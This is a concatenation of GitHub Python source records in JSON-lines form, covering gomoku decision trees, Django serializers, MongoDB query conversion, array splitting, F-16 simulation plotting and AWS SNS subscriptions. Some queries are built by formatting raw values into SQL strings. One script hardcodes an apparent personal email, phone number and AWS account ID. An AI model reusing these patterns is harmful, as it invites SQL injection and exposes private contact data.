개수\n\n def insertDecesionTree(self,idNum,sit_turn,sit_map,decisionTree,num_next_map):\n insert_tree_sql = \"\"\"REPLACE INTO sampleomok.decision_trees(idNum,sit_turn,sit_map,num_next_map,decision_tree) VALUES({},{},'{}',{},'{}') \"\"\"\n self.cur_raw.execute(insert_tree_sql.format(idNum,sit_turn,sit_map,num_next_map,decisionTree))\n self.cnx_data.commit()\n\n def insertLabeledMap(self,idNum,label,map):\n insert_map_sql =\"\"\" REPLACE INTO sampleomok.map_label(idNum,label,next_map) VALUES({},{},'{}') \"\"\"\n self.cur_raw.execute(insert_map_sql.format(idNum,label,map))\n self.cnx_data.commit()\n\n def drawOneDecisionTree(self,sit_map):\n counter = 0\n int_sit_map = []\n\n for row in sit_map.split('], ['):\n if row[:2] == \"[[\":\n row = row[2:]\n int_sit_map.append(np.fromstring(row, dtype=int, sep=', '))\n\n for row in int_sit_map:\n for cell in row:\n counter+=1 if cell != 0 else 0\n target_turn = counter\n print(\"this is \",counter,\"th turn situation \")\n # print(int_sit_map)\n # print(sit_map)\n\n # sit_map 과 똑같이 둔 적이 있는 idGame 모두 찾아서 gameList에 저장.\n specific_map_sql = \"\"\"\n SELECT idGame,idTurn,m_map FROM sampleomok.sit_rep_turn as t WHERE m_map = '{0}' \n \"\"\"\n self.cur_raw.execute(specific_map_sql.format(sit_map))\n rows = self.cur_raw.fetchall()\n gameList = []\n\n for row in rows:\n gameList.append(row['idGame'])\n # target_turn = row['idTurn']\n # print('list of games with same map: ', gameList)\n\n # 위에서 추린 idgame 들 대상으로 target_turn+1턴의 map상태들을 feature로 해서 decisiontree그리기\n\n # to give list to mySql\n if len(gameList) <= 1:\n sql_gameList = str(gameList[0])\n else:\n sql_gameList = ','.join(map(str, gameList))\n\n tree_sql = '''\n SELECT t.idGame,t.idTurn,t.m_map,g.gameResult FROM sampleomok.sit_rep_turn as t JOIN sampleomok.sit_rep_game as g ON t.idGame=g.idGame WHERE t.idGame in ({0}) AND t.idTurn = {1} '''\n # n+1 턴의 맵들을 mapList에 저장\n mapList = []\n self.cur_raw.execute(tree_sql.format(sql_gameList, target_turn + 1))\n rows = self.cur_raw.fetchall()\n # if sit_map is last turn, there is no next turn\n if len(rows) == 0:\n print('this was the last turn')\n return False\n for row in rows:\n mapList.append(str(row['m_map']))\n count_nextmap_sql='''\n SELECT COUNT(DISTINCT t.m_map) as num_next_map FROM sampleomok.sit_rep_turn as t JOIN sampleomok.sit_rep_game as g ON t.idGame=g.idGame WHERE t.idGame in ({0}) AND t.idTurn = {1} '''\n self.cur_raw.execute(count_nextmap_sql.format(sql_gameList, target_turn + 1))\n next_map_count = self.cur_raw.fetchone()['num_next_map']\n\n # mapList들은 str이라 categorical data이기 때문에 LabelEncoder 이용해서 숫자로 바꾸는 과정.\n data = pd.read_sql(tree_sql.format(sql_gameList, target_turn + 1), self.cnx_data)\n df = pd.DataFrame(data)\n feature_df = df.drop(columns=['idGame', 'idTurn', 'gameResult']) # only m_map left\n\n feature_df_list = feature_df['m_map'].tolist()\n # print(len(feature_df_list))\n le= preprocessing.LabelEncoder()\n le.fit(feature_df_list)\n\n labeled_feature = le.transform(feature_df_list)\n labeled_feature = labeled_feature.reshape(-1, 1)\n label_list=[]\n for num in labeled_feature:\n if num[0] not in label_list:\n label_list.append(num[0])\n # print(self.tree_id, num[0],\" , \", le.inverse_transform([num[0]])[0])\n self.insertLabeledMap(self.tree_id,num[0],le.inverse_transform([num[0]])[0])\n\n\n target_df = df['gameResult']\n split_train = False\n classifier = tree.DecisionTreeClassifier(criterion='entropy')\n script =''\n if split_train:\n from sklearn.model_selection import train_test_split\n\n feature_train, feature_test, target_train, target_test = train_test_split(labeled_feature, target_df, test_size=0.2)\n\n classifier.fit(feature_train, target_train)\n\n print(\"score\", classifier.score(feature_train, target_train))\n print(classifier.score(feature_test, target_test))\n else:\n classifier.fit(labeled_feature,target_df)\n\n print(\"score\",classifier.score(labeled_feature,target_df))\n\n tp = TreeParser.TreeParser()\n # print(target_df)\n script = tp.tree_to_code(classifier,['m_map'],target_df)\n # print(script)\n\n # -----------------------------------------------------------------\n\n import graphviz\n from IPython.display import Image, display\n\n file_output =False\n if file_output:\n dot_data = tree.export_graphviz(classifier, feature_names=list(feature_df.columns.values), out_file=\"tree.dot\",\n filled=True, rounded=True, impurity=False)\n graph = graphviz.Source(dot_data)\n\n with open(\"tree.dot\", encoding='UTF-8') as f:\n dot_graph = f.read()\n display(graphviz.Source(dot_graph))\n dot = graphviz.Source(dot_graph)\n dot.format = 'png'\n dot.render(filename='tree.png')\n else:\n dot_data = tree.export_graphviz(classifier, feature_names=list(feature_df.columns.values), out_file=None,\n impurity=False)\n # print(dot_data)\n self.insertDecesionTree(self.tree_id,target_turn,sit_map,script,next_map_count)\n\n\n def main(self):\n self.iterMaps()\n\nif __name__ == '__main__':\n print(\"this is demo mode\")\n drawtree = DrawTree()\n drawtree.main()","repo_name":"palejelly/Decision-tree-gomoku","sub_path":"decision-tree-omok-master/DrawTree.py","file_name":"DrawTree.py","file_ext":"py","file_size_in_byte":6984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35856889465","text":"# Django REST Framework\nfrom rest_framework import serializers\n\n# Models\nfrom users.models import User\nfrom auto.models import Auto\nfrom marca.models import Marca\nfrom tipo.models import Tipo\n\n\nclass TipoAutomovilSerializer(serializers.ModelSerializer):\n class Meta:\n model = Tipo\n fields = (\n 'nombre',\n 'descripcion',\n )\n\n\nclass MarcaAutomovilSerializer(serializers.ModelSerializer):\n class Meta:\n model = Marca\n fields = (\n 'nombre',\n 'descripcion'\n )\n\n\nclass AutoAutomovilSerializer(serializers.ModelSerializer):\n class Meta:\n model = Auto\n fields = (\n 'modelo',\n 'anio',\n 'serial',\n 'color',\n 'motor',\n 'transmision',\n 'tipo',\n 'marca'\n )\n\n\nclass TiendaSerializer(serializers.ModelSerializer):\n\n tipo = TipoAutomovilSerializer(many=True)\n marca = MarcaAutomovilSerializer(many=True)\n auto = AutoAutomovilSerializer(many=True)\n\n class Meta:\n model = User\n fields = (\n 'first_name',\n 'last_name',\n 'email',\n 'tipo',\n 'marca',\n 'auto',\n )","repo_name":"Juls452/pachaBack","sub_path":"Hackaton15/hackaton15/search/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"es","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"32200859302","text":"\"\"\"\nBelow is the model which will take care of the translation between the data source and the controller\n\"\"\"\n\nimport studentHelper\n\nclass StudentModel(object):\n\n#Class variables to keep track of:\n # course names and grades\n courses = {}\n #sudents list containing student objects\n students = []\n #list with student IDs\n studentIDs = []\n #total (sum) of grades\n total = 0\n #count of students\n count = 0\n\n def __init__(self, file):\n self.file = file\n\n#Function which will:\n #read a file and split the lines\n #read the name, id and grade and store them as part of a student object\n #Add the newly create object to the student list class variable\n #Add the id to the studentIDs class variable,\n #read the course and grade, increment the total number of users and increase the sum of grades\n def readFile(self):\n with open(self.file) as f:\n lines = f.read().splitlines()\n for l in lines:\n line = l.split(\",\")\n if len(line) == 2:\n studentInfo = line[1].split(\"*\")\n #Create student object\n stud = studentHelper.Student(studentInfo[0], studentInfo[1].lower(), studentInfo[2])\n #Append student ID to the Student Ids list\n StudentModel.studentIDs.append(studentInfo[1].lower())\n #Append student object to the student list\n StudentModel.students.append(stud)\n else:\n #Retrieve course and grade\n courseAndGrade = l.split(\"*\")\n #Convert them to lower to deal with case sensitive cases\n course = courseAndGrade[0].lower()\n #Convert the grade to float\n grade = float(courseAndGrade[1])\n #Add the grade to the total\n StudentModel.total += grade\n #Increment the student count\n StudentModel.count += 1\n #Add course and grade to the course dictionary\n self.addCourseGrade(course, grade)\n #Set the student grade for this course\n stud.setGrade(course, grade)\n\n#helper method to Load a student by id\n def loadStudent(self, id):\n for student in StudentModel.students:\n if student.getId() == id:\n return student\n\n#helper method to add course grade to the courses dictionary:\n #If the course is already there, add the grade to the list.\n # If not, create a new dictionary with the course as key and the grade as value.\n def addCourseGrade(self, course, grade):\n if course not in StudentModel.courses:\n StudentModel.courses[course] = [grade]\n else:\n StudentModel.courses[course].append(grade)\n\n","repo_name":"sondos4/MVC_python","sub_path":"StudentModel.py","file_name":"StudentModel.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"41031346441","text":"#!/bin/env python\nimport json\n\n\nif __name__ == \"__main__\":\n with open('labels.json') as f:\n labels = json.load(f)\n\n print(\"Number of labeled images:\", len([x for x in labels\n if x['annotations'] != []]))\n print(\"Total number of images:\", len(labels))\n","repo_name":"bbotio/whiteboard","sub_path":"source/images_stats.py","file_name":"images_stats.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18726670753","text":"import math\nfrom repartition_experiments.algorithms.utils import Volume, get_file_manager, get_blocks_shape\nfrom repartition_experiments.file_formats.hdf5 import HDF5_manager\nfrom repartition_experiments.algorithms.utils import get_opened_files\n\n\ndef get_entity_sizes(cs, bytes_per_voxel, partition):\n bs = cs[0] * cs[1] * cs[2] * bytes_per_voxel # block size\n brs = bs * partition[2] # block row size\n bss = brs * partition[1] # block slice size\n return bs, brs, bss\n\n\ndef get_strategy(buffer_mem_size, block_size, block_row_size, block_slice_size): \n \"\"\" Get clustered writes best load strategy given the memory available for io optimization.\n\n Returns:\n ---------\n strategy\n \"\"\"\n if buffer_mem_size < block_size:\n raise ValueError(\"Buffer size too small for one chunk\")\n\n if math.floor(buffer_mem_size / block_slice_size) > 0: \n return 2\n else:\n if math.floor(buffer_mem_size / block_row_size) > 0: \n return 1\n else:\n return 0\n\n\ndef compute_buffers(buffer_mem_size, strategy, origarr_size, cs, block_size, block_row_size, block_slice_size, partition, R, bytes_per_voxel):\n \"\"\"\n partition: partition tuple of R by O = nb chunks per dimension\n \"\"\"\n def get_last_slab():\n return\n\n buffers = dict()\n index = 0\n\n if strategy == 2:\n slices_per_buffer = math.floor(buffer_mem_size / block_slice_size)\n buffer_shape = (slices_per_buffer * cs[0], R[1], R[2])\n buffer_size = buffer_shape[0] * buffer_shape[1] * buffer_shape[2] * bytes_per_voxel\n\n nb_plain_buffers = math.floor(origarr_size / buffer_size)\n\n for i in range(nb_plain_buffers):\n lowcorner = (i * buffer_shape[0], 0, 0)\n upcorner = ((i + 1) * buffer_shape[0], buffer_shape[1], buffer_shape[2])\n buffers[i] = Volume(\n i,\n lowcorner,\n upcorner)\n\n if nb_plain_buffers > 0:\n prev_buff = buffers[nb_plain_buffers-1]\n if prev_buff.p2[0] != (R[0]):\n buffers[nb_plain_buffers] = Volume(nb_plain_buffers,\n (nb_plain_buffers * buffer_shape[0], 0, 0),\n R) \n else:\n buffers[nb_plain_buffers] = Volume(nb_plain_buffers,\n (nb_plain_buffers * buffer_shape[0], 0, 0),\n R) \n\n elif strategy == 1:\n nb_block_slices = partition[0]\n nb_block_rows_per_buffer = math.floor(buffer_mem_size/block_row_size)\n buffer_size = nb_block_rows_per_buffer * block_row_size\n\n for i in range(nb_block_slices):\n nb_buffers_per_slice = math.floor(block_slice_size / buffer_size)\n \n for j in range(nb_buffers_per_slice): # a buffer is one or more block rows here\n lowcorner =(i*cs[0], j * nb_block_rows_per_buffer * cs[1], 0)\n upcorner = ((i+1)*cs[0], (j+1) * nb_block_rows_per_buffer * cs[1], R[2])\n buffers[index] = Volume(index, lowcorner, upcorner)\n index += 1\n \n prev_buff = buffers[index-1]\n if prev_buff.p2[1] != (R[1]):\n buffers[index] = Volume(index, \n (i * cs[0], nb_buffers_per_slice * cs[1], 0),\n ((i + 1) * cs[0], R[1], R[2])) \n index += 1\n\n elif strategy == 0:\n\n for i in range(partition[0]): \n start_i, end_i = i*cs[0], (i+1)*cs[0]\n\n for j in range(partition[1]): \n start_j, end_j = j*cs[1], (j+1)*cs[1]\n\n nb_blocks_per_buff = math.floor(buffer_mem_size/block_size)\n buffer_size = nb_blocks_per_buff * block_size\n nb_buffer_per_row = math.floor(block_row_size / buffer_size)\n\n for k in range(nb_buffer_per_row):\n if k == 0:\n start_k = 0\n else:\n start_k = buffers[index-1].p2[2]\n end_k = (k+1) * nb_blocks_per_buff * cs[2]\n\n buffer_volume = Volume(index,\n (start_i, start_j, start_k),\n (end_i, end_j, end_k))\n buffers[index] = buffer_volume\n index += 1\n\n prev_buff = buffers[index-1]\n if prev_buff.p2[2] != (R[2]):\n last_buffer = Volume(index,\n (start_i, start_j, prev_buff.p2[2]),\n (end_i, end_j, R[2]))\n buffers[index] = last_buffer\n index += 1\n\n else:\n raise ValueError(\"Strategy does not exist\")\n\n return buffers\n\n\ndef read_buffer(arr, file_manager, buffer):\n p1, p2 = buffer.get_corners()\n # print(\"reading slices:\", p1[0], p2[0], p1[1], p2[1], p1[2], p2[2])\n return arr[p1[0]: p2[0], p1[1]: p2[1], p1[2]: p2[2]]\n \n\ndef write_splits(file_manager, buffer, buffer_data, cs, outdir_path):\n p1, p2 = buffer.get_corners()\n first_index = (p1[0]/cs[0], p1[1]/cs[1], p1[2]/cs[2])\n buffer_shape = (p2[0]-p1[0], p2[1]-p1[1], p2[2]-p1[2])\n buff_partition = get_blocks_shape(buffer_shape, cs)\n\n _3d_index = first_index\n for i in range(buff_partition[0]):\n for j in range(buff_partition[1]):\n for k in range(buff_partition[2]):\n split_data = buffer_data[\n i * cs[0]:(i+1) * cs[0], \n j * cs[1]:(j+1) * cs[1], \n k * cs[2]:(k+1) * cs[2]]\n\n region = ((0, cs[0]), (0, cs[1]), (0, cs[2]))\n file_manager.write_data(int(_3d_index[0] + i), \n int(_3d_index[1] + j), \n int(_3d_index[2] + k), \n outdir_path, \n split_data, \n region, \n cs)\n\n\ndef clustered_writes(origarr_filepath, R, cs, bpv, m, ff, outdir_path):\n \"\"\" Implementation of the clustered strategy for splitting a 3D array.\n Output file names are following the following regex: outdir_path/{i}_{j}_{k}.extension\n WARNING: this implementation loads the whole input array in RAM. We had 250GB of RAM for our experiments so we decided to use it.\n\n Arguments: \n ----------\n R: original array shape\n m: memory available for the buffer\n cs: chunk shape\n bpv: number of bytes per voxel\n ff: file_format\n outdir_path: where to write the splits\n \"\"\"\n\n strategies = {\n 0: \"blocks\",\n 1: \"block_rows\",\n 2: \"block_slices\"\n }\n \n file_manager = get_file_manager(ff)\n\n partition = get_blocks_shape(R, cs)\n bs, brs, bss = get_entity_sizes(cs, bpv, partition)\n strategy = get_strategy(m, bs, brs, bss)\n\n origarr_size = R[0] * R[1] * R[2] * bpv\n buffers = compute_buffers(m, strategy, origarr_size, cs, bs, brs, bss, partition, R, bpv)\n\n origarr = file_manager.get_dataset(origarr_filepath, '/data')\n for buffer_index in range(len(buffers.values())):\n buffer = buffers[buffer_index]\n buffer_data = read_buffer(origarr, file_manager, buffer)\n write_splits(file_manager, buffer, buffer_data, cs, outdir_path)\n\n file_manager.close_infiles()\n get_opened_files()","repo_name":"big-data-lab-team/repartition_experiments","sub_path":"repartition_experiments/algorithms/clustered_writes.py","file_name":"clustered_writes.py","file_ext":"py","file_size_in_byte":7650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16893777504","text":"class Solution:\n def isPalindrome(self, s: str) -> bool:\n def loop(a):\n return a.isalpha() or a.isdigit()\n s = s.lower()\n i = 0\n j = len(s) - 1\n while i < j:\n while i<j and not loop(s[i]):\n i=i+1\n while j > i and not loop(s[j]):\n j=j-1\n # print(str(i) + \" \" + str(j))\n if s[i] != s[j]:\n return False\n i=i+1\n j=j-1\n return True","repo_name":"subodh30/code","sub_path":"0125-valid-palindrome/0125-valid-palindrome.py","file_name":"0125-valid-palindrome.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14896570861","text":"import re\n\nfrom threading import RLock\n\nfrom pymongo import MongoClient\n\n\n__all__ = [\n 'MongoClientPool',\n 'KwargsqlToMongo',\n]\n\n\nclass MongoClientPool(object):\n lock = RLock()\n connections = dict()\n\n @classmethod\n def get(cls, **kwargs):\n key = hash(frozenset(kwargs.items()))\n with cls.lock:\n con = cls.connections.get(key)\n if con is None:\n con = MongoClient(**kwargs)\n cls.connections[key] = con\n return con\n\n\nclass KwargsqlToMongo(object):\n \"\"\" Convert a kwargsql expression to PyMongo query dict.\n \"\"\"\n KWARGQL_SUPPORTED_MONGO_OPS = {\n 'ne', 'lt', 'ltw', 'gt', 'gte', 'in', 'nin', 'exists'\n }\n\n KWARGSQL_REGEX_OPS = dict(\n contains=dict(prefix='.*', suffix='.*'),\n icontains=dict(prefix='.*', suffix='.*', options='i'),\n startswith=dict(suffix='.*'),\n istartswith=dict(suffix='.*', options='i'),\n endswith=dict(prefix='.*'),\n iendswith=dict(prefix='.*', options='i'),\n iexact=dict(options='i'),\n )\n\n @classmethod\n def convert(cls, **kwargsql):\n \"\"\"\n :param dict kwargsql:\n Kwargsql expression to convert\n\n :return:\n filter to be used in :py:method:`pymongo.collection.find`\n :rtype: dict\n \"\"\"\n filters = []\n for k, v in kwargsql.items():\n terms = k.split('__')\n if terms[-1] in cls.KWARGQL_SUPPORTED_MONGO_OPS:\n v = {\n '$' + terms[-1]: v\n }\n if terms[-1] == 'exists':\n v['$exists'] = bool(v['$exists'])\n terms = terms[:-1]\n elif terms[-1] in cls.KWARGSQL_REGEX_OPS:\n config = cls.KWARGSQL_REGEX_OPS[terms[-1]]\n pattern = '^{prefix}{pattern}{suffix}$'.format(\n prefix=config.get('prefix', ''),\n pattern=re.escape(v),\n suffix=config.get('suffix', '')\n )\n v = {\n '$regex': pattern,\n '$options': config.get('options', ''),\n }\n terms = terms[:-1]\n k = '.'.join(terms)\n filters.append({k: v})\n if len(filters) == 0:\n return {}\n if len(filters) == 1:\n return filters[0]\n else:\n return {\n '$and': filters\n }\n","repo_name":"cogniteev/docido-python-sdk","sub_path":"docido_sdk/toolbox/mongo_ext.py","file_name":"mongo_ext.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"22741151432","text":"'''\nThis file is meant to test the functions in wordstuff.py.\nIt is not intended to be modified. Please submit a request if you\nwant to make changes to this file and the devlopers will decide if\nthe changes are valid.\n\n- Devon\n'''\n\nimport os\nimport sys\ngetPath = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'mvc'))\nsys.path.append(getPath)\nfrom MVC.model import wordstuff as wordstuff\nimport unittest\n\n\nclass wordstuff_test (unittest.TestCase):\n \n # Sets up unittest\n def setUp(self):\n self.ws = wordstuff\n \n # Tests the checkword function.\n def test_checkWord(self):\n \n # Test one: short word\n wordOne = \"word\"\n testOne = self.ws.checkWord(wordOne)\n self.assertTrue(testOne)\n \n # Test two: long word\n wordTwo = \"availability\"\n testTwo = self.ws.checkWord(wordTwo)\n self.assertTrue(testTwo)\n \n # Test three: not an actual word\n wordThree = \"notanactualword\"\n testThree = self.ws.checkWord(wordThree)\n self.assertFalse(testThree)\n \n # Test four: ?????\n wordFour = \"ewioefwisf\"\n testFour = self.ws.checkWord(wordFour)\n self.assertFalse(testFour)\n ","repo_name":"mucsci-students/2023sp-420-MediaTek","sub_path":"test/wordstuff_test.py","file_name":"wordstuff_test.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"28214728528","text":"Name = 'StackedBarChartFilter'\nLabel = 'Stacked Bar Chart Filter'\nHelp = 'Creates a stacked bar chart (as lines in z-direction) of all point data arrays'\n\nNumberOfInputs = 2\nInputDataType = 'vtkPolyData'\nOutputDataType = 'vtkPolyData'\nExtraXml = ''\nProperties = dict(\n\tscalingFactor = 1.0\n)\n\ndef RequestData():\n pdi = self.GetPolyDataInput()\n pdo = self.GetPolyDataOutput()\n\n numPoints = pdi.GetNumberOfPoints()\n numVars = pdi.GetPointData().GetNumberOfArrays()\n numCells = numPoints * numVars\n\n pdo.Allocate(numCells)\n\n newPoints = vtk.vtkPoints()\n pdo.SetPoints(newPoints)\n\n valIdArray = vtk.vtkIntArray()\n valIdArray.SetName(\"ArrayIds\")\n valIdArray.SetNumberOfComponents(1)\n valIdArray.SetNumberOfTuples(numCells)\n pdo.GetCellData().AddArray(valIdArray)\n\n for i in range(0, numPoints-1):\n currentPoint = pdi.GetPoints().GetPoint(i)\n basePointId = newPoints.InsertNextPoint(currentPoint)\n posIndex = 0\n negIndex = 0\n beginIndex = 0\n for v in range(0, numVars-1):\n value = pdi.GetPointData().GetArray(v).GetTuple1(i)\n if value < 0:\n beginIndex = i * numVars + negIndex\n negIndex = v + 1\n else:\n beginIndex = i * numVars + posIndex\n posIndex = v + 1\n\n beginPoint = newPoints.GetPoint(beginIndex)\n newPointId = newPoints.InsertNextPoint(beginPoint[0], beginPoint[1], beginPoint[2] + value * scalingFactor)\n pdo.InsertNextCell(3, 2, [beginIndex, newPointId]) # VTK_LINE is 3\n valIdArray.SetValue(i*numVars + v, v)\n","repo_name":"ufz-vislab/paraview-python-scripts","sub_path":"filter/StackedBarChartFilter.py","file_name":"StackedBarChartFilter.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"71417551260","text":"class Solution:\n def tallestBillboard(self, rods: List[int]) -> int:\n @lru_cache(None)\n def dfs(diff,i):\n if i==len(rods):\n if diff: return -float('inf')\n else: return 0\n \n r=rods[i]\n i+=1\n return max(dfs(diff+r,i)+r,dfs(diff-r,i),dfs(diff,i))\n \n return dfs(0,0)","repo_name":"cb299792458/LeetHub","sub_path":"956-tallest-billboard/956-tallest-billboard.py","file_name":"956-tallest-billboard.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2970453118","text":"'''\nStanley Bak\n\nplots 3d animation for 'u_turn' scenario \n'''\n\nimport sys\n\nimport numpy as np\nfrom numpy import deg2rad\n\nimport matplotlib.pyplot as plt\n\nfrom aerobench.run_f16_sim import run_f16_sim\nfrom aerobench.visualize import anim3d, plot\nfrom aerobench.examples.waypoint.waypoint_autopilot import WaypointAutopilot\n\ndef simulate(filename):\n 'simulate the system, returning waypoints, res'\n\n ### Initial Conditions ###\n power = 9 # engine power level (0-10)\n\n # Default alpha & beta\n alpha = deg2rad(2.1215) # Trim Angle of Attack (rad)\n beta = 0 # Side slip angle (rad)\n\n # Initial Attitude\n alt = 1500 # altitude (ft)\n vt = 540 # initial velocity (ft/sec)\n phi = 0 # Roll angle from wings level (rad)\n theta = 0 # Pitch angle from nose level (rad)\n psi = 0 # Yaw angle from North (rad)\n\n # Build Initial Condition Vectors\n # state = [vt, alpha, beta, phi, theta, psi, P, Q, R, pn, pe, h, pow]\n init = [vt, alpha, beta, phi, theta, psi, 0, 0, 0, 0, 0, alt, power]\n tmax = 150 # simulation time\n\n # make waypoint list\n waypoints = [[-5000, -7500, alt],\n [-15000, -7500, alt-500],\n [-15000, 5000, alt-200]]\n\n ap = WaypointAutopilot(waypoints, stdout=True)\n\n step = 1/30\n extended_states = True\n res = run_f16_sim(init, tmax, ap, step=step, extended_states=extended_states, integrator_str='rk45')\n\n print(f\"Waypoint simulation completed in {round(res['runtime'], 2)} seconds (extended_states={extended_states})\")\n\n if filename.endswith('.mp4'):\n skip_override = 4\n elif filename.endswith('.gif'):\n skip_override = 15\n else:\n skip_override = 30\n\n anim_lines = []\n modes = res['modes']\n modes = modes[0::skip_override]\n\n def init_extra(ax):\n 'initialize plot extra shapes'\n\n l1, = ax.plot([], [], [], 'bo', ms=8, lw=0, zorder=50)\n anim_lines.append(l1)\n\n l2, = ax.plot([], [], [], 'lime', marker='o', ms=8, lw=0, zorder=50)\n anim_lines.append(l2)\n\n return anim_lines\n\n def update_extra(frame):\n 'update plot extra shapes'\n\n mode_names = ['Waypoint 1', 'Waypoint 2', 'Waypoint 3']\n\n done_xs = []\n done_ys = []\n done_zs = []\n\n blue_xs = []\n blue_ys = []\n blue_zs = []\n\n for i, mode_name in enumerate(mode_names):\n if modes[frame] == mode_name:\n blue_xs.append(waypoints[i][0])\n blue_ys.append(waypoints[i][1])\n blue_zs.append(waypoints[i][2])\n break\n\n done_xs.append(waypoints[i][0])\n done_ys.append(waypoints[i][1])\n done_zs.append(waypoints[i][2])\n\n anim_lines[0].set_data(blue_xs, blue_ys)\n anim_lines[0].set_3d_properties(blue_zs)\n\n anim_lines[1].set_data(done_xs, done_ys)\n anim_lines[1].set_3d_properties(done_zs)\n\n return res, init_extra, update_extra, skip_override, waypoints\n\ndef main():\n 'main function'\n\n if len(sys.argv) > 1 and (sys.argv[1].endswith('.mp4') or sys.argv[1].endswith('.gif')):\n filename = sys.argv[1]\n print(f\"saving result to '{filename}'\")\n else:\n filename = ''\n print(\"Plotting to the screen. To save a video, pass a command-line argument ending with '.mp4' or '.gif'.\")\n\n res, init_extra, update_extra, skip_override, waypoints = simulate(filename)\n\n plot.plot_single(res, 'alt', title='Altitude (ft)')\n alt_filename = 'waypoint_altitude.png'\n plt.savefig(alt_filename)\n print(f\"Made {alt_filename}\")\n plt.close()\n\n plot.plot_overhead(res, waypoints=waypoints)\n overhead_filename = 'waypoint_overhead.png'\n plt.savefig(overhead_filename)\n print(f\"Made {overhead_filename}\")\n plt.close()\n \n anim3d.make_anim(res, filename, f16_scale=70, viewsize=5000, viewsize_z=4000, trail_pts=np.inf,\n elev=27, azim=-107, skip_frames=skip_override,\n chase=True, fixed_floor=True, init_extra=init_extra, update_extra=update_extra)\n\nif __name__ == '__main__':\n main()\n","repo_name":"stanleybak/AeroBenchVVPython","sub_path":"code/aerobench/examples/anim3d/run_u_turn_anim3d.py","file_name":"run_u_turn_anim3d.py","file_ext":"py","file_size_in_byte":4153,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"69"} +{"seq_id":"27911350325","text":"'''Python 3.7'''\n\nimport socket\n\n# Increase this value exponentially to self.num_messages\nBUFFER_SIZE = 1024000\n\nclass Sender():\n \"\"\"TCP Server Class\"\"\"\n\n # Useful connection constraints\n HOST = '127.0.0.1' # Standard loopback interface address (localhost)\n PORT = 65432 # Port to listen on (non-privilege ports are > 1023)\n\n def __init__(self, failure_rate, mean_time):\n self.failure_rate = failure_rate\n self.mean_time = mean_time\n\n def open_connection(self, h=HOST, p=PORT):\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.bind((h, p))\n s.listen()\n conn, addr = s.accept()\n with conn:\n print('Connected by', addr)\n while True:\n data = conn.recv(BUFFER_SIZE)\n if not data:\n break\n conn.sendall(data)\n\n def send_message(self, conn, data):\n return False\n\ndef main():\n s = Sender(1,1)\n s.open_connection()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cmonyenokwe/CloudEngrCodingTest","sub_path":"sender.py","file_name":"sender.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11330383944","text":"import boto3\nimport json\n\nsns = boto3.client('sns')\n\nsns.create_topic(Name='Test')\ntopic = 'arn:aws:sns:us-east-1:319216586834:Test'\nprotocolForMail = 'email'\nmailId = 'mathivanan.arulsamy@ideas2it.com'\nprotocolForMobileNumber = 'sms'\nmobileNumber = '+918072149302'\nprotocolForSQS = 'sqs'\nsqs_arn = 'arn:aws:sqs:us-east-1:319216586834:sqs_queue'\n\ndef subscribe(topic, protocol, endpoint):\n subscription = sns.subscribe(\n TopicArn = topic,\n Protocol = protocol,\n Endpoint = endpoint,\n ReturnSubscriptionArn = True)\n createPolicy()\n return subscription['SubscriptionArn']\n \nresponseForMail = subscribe(topic, protocolForMail, mailId)\nresponseForMobileNumber = subscribe(topic, protocolForMobileNumber, mobileNumber)\nresponseForSQS = subscribe(topic, protocolForSQS, sqs_arn)\nprint(\"Subscribed to a topic successfully \\n Subscription arn - \" + responseForMail)\nprint(\"Subscribed to a topic successfully \\n Subscription arn - \" + responseForMobileNumber)\nprint(\"Subscribed to a topic successfully \\n Subscription arn - \" + responseForSQS)\n\ndef createPolicy():\n snsPolicy = {\n \"Version\": \"2008-10-17\",\n \"Id\": \"__default_policy_ID\",\n \"Statement\": [\n {\n \"Sid\": \"__default_statement_ID\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"*\"\n },\n \"Action\": [\n \"SNS:GetTopicAttributes\",\n \"SNS:SetTopicAttributes\",\n \"SNS:AddPermission\",\n \"SNS:RemovePermission\",\n \"SNS:DeleteTopic\",\n \"SNS:Subscribe\",\n \"SNS:ListSubscriptionsByTopic\",\n \"SNS:Publish\"\n ],\n \"Resource\": \"arn:aws:sns:us-east-1:319216586834:Test\",\n \"Condition\": {\n \"StringEquals\": {\n \"aws:SourceAccount\": \"319216586834\"\n },\n \"ArnLike\": {\n \"aws:SourceArn\": \"arn:aws:s3:*:*:s3foreventnotification\"\n }\n }\n }\n ]}\n sns_attr_value = json.dumps(snsPolicy)\n sns.set_topic_attributes(\n TopicArn=\"arn:aws:sns:us-east-1:319216586834:Test\",\n AttributeName='Policy',\n AttributeValue=sns_attr_value)\n","repo_name":"Mathi-i2t/boto3","sub_path":"boto3forsns.py","file_name":"boto3forsns.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} 